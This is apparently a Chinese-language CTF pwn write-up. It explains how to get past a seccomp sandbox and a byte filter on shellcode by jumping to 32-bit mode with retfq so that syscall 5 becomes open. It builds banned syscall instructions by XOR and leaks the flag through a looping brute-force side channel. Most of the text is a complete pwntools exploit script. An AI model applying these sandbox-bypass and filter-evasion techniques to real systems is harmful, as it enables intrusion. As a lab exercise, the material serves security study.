就是写入shellcode跑就行。但是shellcode不能有小于’\x1f’,也不能有等于‘\x7f’。问题的关键在于开了沙箱。
只能使用这些系统调用。
orw只有r,怎么处理。
首先看o,我们发现给了系统调用5,这个系统调用在64的时候是fstat,但是在32模式情况下就是open,所以我们首先考虑使用retfq汇编语句来让我们的整个模式跳到32位,在32位下去调用系统调用5就可以获得open。
retfq使用的时候要注意,cs寄存器中存储的一个数字,0x23表示32位,0x33表示64位。调用retfq之后esp是cs寄存器值,esp+8就是返回地址了。
但是我们发现,我们把32位shellcode读到栈上以后栈的整个环境是64的,就会产生矛盾,所以我们需要一块全新的地方来写入我们的32位shellcode。
我们看到了系统调用可以mmap,所以我们第一步就是mmap申请一块地方,然后read32位shellcode过去。这里说一嘴因为syscall的汇编代码被ban了,所以我们写汇编语句的时候要耍点小手段,通过xor来得到syscall。
此时我们要读入shellcode到mmap,这个时候对我们的字符不会有检查,就随便写了。我们首先open打开文件,然后跳回64位,把读flag读出来,然后呢,没有write。
所以我们参考了2021蓝帽杯的silent,我们爆破,将每个可见字符拿去跟我们的flag进行比较,假如命中,我们让它跳入loop循环,假如我们程序卡在那里,说明命中了,然后一个字符一个字符爆破,得到flag。
下面的flag我自己写的,爆破大概爆了十分钟吧。
exp
#coding:utf-8
from pwn import *
context.log_level = 'debug'
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))
def exp(dis,char):
#gdb.attach(p, "b *0x40026d\nc")
#input()
p.sendline(shellcode)
sc = asm('''
mov rdi,rcx
mov rsi,0x40404200
mov dl,0x40
xor rax,rax
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,231
syscall
loop:
jmp loop
'''.format(dis,char),arch = 'amd64',os = 'linux')
p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag + sc)
#input()
flag = ""
for i in range(len(flag),50):
sleep(1)
log.success("flag : {}".format(flag))
for j in range(0x100):
p = process('./shellcode')
try:
exp(i,j)
p.recvline(timeout=1)
flag += chr(j)
p.send('\n')
log.success("{} pos : {} success".format(i,chr(j)))
log.success(flag)
p.close()
break
except:
p.close()